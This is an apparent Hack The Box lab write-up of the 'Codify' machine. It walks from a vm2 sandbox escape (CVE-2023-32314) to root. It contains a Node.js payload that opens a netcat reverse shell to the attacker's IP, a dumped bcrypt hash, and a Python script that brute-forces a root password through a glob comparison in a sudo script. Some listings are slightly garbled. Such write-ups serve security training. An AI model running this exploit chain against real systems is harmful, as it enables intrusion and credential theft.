

# Codify HTB

## User Reconnaissance

1. We can use `curl -I <Target IP>` to get the info and it is found that the page is called **codify.htb**

```
(kali㉿kali)-[~]  
$ curl -I 10.10.11.239  
HTTP/1.1 301 Moved Permanently  
Date: Mon, 05 Feb 2024 08:50:55 GMT  
Server: Apache/2.4.52 (Ubuntu)  
Location: http://codify.htb/  
Content-Type: text/html; charset=iso-8859-1
```

2. We can see that this web is for generating a node.js editor. This web uses a vm2 library for it as a sandbox and we can see that it is vulnerable. There's a CVE for it (CVE-2023-32314)

<https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac>

3. We can change the code to a reverse shell one

<https://pentestbook.six2dez.com/exploitation/reverse-shells>

## Editor

```
const { VM } = require("vm2");
const vm = new VM();

const code = `
const err = new Error();
err.name = {
  toString: new Proxy(() => "", {
    apply(target, this, args) {
      const process = args.constructor.constructor("return process");
      throw process.mainModule.require("child_process").execSync("rm /tmp/test;mkfifo /tmp/test;cat /tmp/test/bin/sh -i 2>&1|nc 10.10.14.41 9001 >/tmp/test").toString();
    },
  }),
};
try {
  err.stack;
} catch (stdout) {
  stdout;
}
`;

console.log(vm.run(code));
```

Error: NetworkError when attempting to fetch

4. We will get the reverse shell and we should check **/var/www/contact**

```
html
$ cd contact
$ ls
index.js
package.json
package-lock.json
templates
tickets.db
$ cat tickets.db
♦T5♦♦T♦format 3@ .WJ
    otableticketsticketsCREATE TABLE tickets (id IN
TEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT
, description TEXT, status TEXT)P++Ytablesqliite_sequen
cesqliite_sequenceCREATE TABLE sqlite_sequence(name,seq
)♦♦
    tableusersusersCREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT UNIQUE,
    password TEXT
♦♦G♦joshua$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEi
YBU2iLHn4G/p/Zw2
♦♦
♦♦♦♦ua users
    ickets
r]r♦h%♦Joe WilliamsLocal setup?I use this site lot of
the time. Is it possible to set this up locally? Like
instead of coming to this site, can I download this a
nd set it up in my own computer? A feature like that w
ould be nice.open♦ ;♦wTom HanksNeed networking modules
I think it would be better if you can implement a way
to handle network-based stuff. Would help me out a lot
. Thanks!open$ ^C
```

## User Escalation

```
(kali㉿kali)-[~/Documents/codifyhtb]
$ ssh joshua@codify.htb
The authenticity of host 'codify.htb (10.10.11.239)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'codify.htb' (ED25519) to the list of known hosts.
joshua@codify.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Tue Feb  6 02:39:47 PM UTC 2024

System load:                0.0
Usage of /:                  63.6% of 6.50GB
Memory usage:               24%
Swap usage:                 0%
Processes:                  263
Users logged in:            0
IPv4 address for br-030a38808dbf: 172.18.0.1
IPv4 address for br-5ab86a4e40d0: 172.19.0.1
IPv4 address for docker0:    172.17.0.1
IPv4 address for eth0:       10.10.11.239
IPv6 address for eth0:       dead:beef::250:56ff:feb9:110b

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

joshua@codify:~$ ls
user.txt
joshua@codify:~$ cat user.txt
96fbad918ea3b4eb72e27fec24944551
joshua@codify:~$
```

cracking the password

## Privilege Reconnaissance

1. We can call sudo -l

```
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/
sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
```

- Here is a bash script that we can run and will be like this. There is a loose comparison for the if and we can use asterisk so it will register the input as regex and compares it to all characters from [a-z][A-Z][0-9]

```
joshua@codify:/opt/scripts$ cat mysql-backup.sh
#!/bin/bash
DB_USER="root"          char = characters:
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql" script(input_text)
21 output = Password confirmation
read -s -p "Enter MySQL password for $DB_USER: " USER_
PASS
22 (Confirmed input so far)
/usr/bin/echo

23
if [[ $DB_PASS = $USER_PASS ]]; then
24     /usr/bin/echo "Password confirmed!"
else
25     /usr/bin/echo "Password confirmation failed!"
26     exit 1
fi

27
/usr/bin/mkdir -p "$BACKUP_DIR"

28
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P
3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/gre
p -Ev "(Database|information_schema|performance_schema
)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.
0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKU
```

```
joshua@codify:/opt/scripts$ sudo ./mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line
interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command l
ine interface can be insecure.
-- Warning: column statistics not supported by the ser
ver.
mysqldump: Got error: 1556: You can't use locks with l
og tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with l
og tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command l
ine interface can be insecure.
-- Warning: column statistics not supported by the ser
ver.
All databases backed up successfully!
Changing the permissions
Done!
```

3. I then make a python script to automate finding the correct password

```
GNU nano 6.2 cob8.py
import subprocess

# Define the characters to try
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

# Define the script file to run
script_file = "/opt/scripts/mysql-backup.sh"

# Function to execute the script with a given input and return the output
def run_script(input_text):
    result = subprocess.run(["sudo", script_file], input=input_text, text=True, capture_output=True)
    return result.stdout.strip()

# Main function to iterate over characters and run the script
def main():
    confirmed_input = ""
    while True:
        for char in characters:
            input_text = confirmed_input + char + "*"
            output = run_script(input_text)
            if output != "Password confirmation failed!":
                confirmed_input += char
                print("Confirmed input so far:", confirmed_input)

if __name__ == "__main__":
    main()
```

```
joshua@codify:/tmp/p$ python3 cob8.py
Confirmed input so far: k
Confirmed input so far: kl
Confirmed input so far: klj
Confirmed input so far: kljh
Confirmed input so far: kljh1
Confirmed input so far: kljh12
Confirmed input so far: kljh12k
Confirmed input so far: kljh12k3
Confirmed input so far: kljh12k3j
Confirmed input so far: kljh12k3jh
Confirmed input so far: kljh12k3jha
Confirmed input so far: kljh12k3jhas
Confirmed input so far: kljh12k3jhask
Confirmed input so far: kljh12k3jhaskj
Confirmed input so far: kljh12k3jhaskjh
Confirmed input so far: kljh12k3jhaskjh1
Confirmed input so far: kljh12k3jhaskjh12
Confirmed input so far: kljh12k3jhaskjh12k
Confirmed input so far: kljh12k3jhaskjh12kj
Confirmed input so far: kljh12k3jhaskjh12kjh
Confirmed input so far: kljh12k3jhaskjh12kjh3
```

## Privilege Escalation

```

File /usr/lib/python3.10/selectors.py, line 416, in select
    fd_event_list = self._selector.poll(timeout)
KeyboardInterrupt

joshua@codify:/tmp/p$ cd /opt/scripts
joshua@codify:/opt/scripts$ ./mysql-backup.sh
/usr/bin/cat: /root/.creds: Permission denied
Enter MySQL password for root:
Password confirmation failed!
joshua@codify:/opt/scripts$ sudo ./mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
joshua@codify:/opt/scripts$ su root
Password:
root@codify:/opt/scripts# cd
root@codify:~# ls
root.txt  scripts
root@codify:~# cd scripts/
root@codify:~/scripts# ls
docker  other
root@codify:~/scripts# cd ..
root@codify:~# cd
root@codify:~# ls
root.txt  scripts
root@codify:~# cat root.txt
607ad65e1088dd62bc9e5479f34c229d
root@codify:~#

```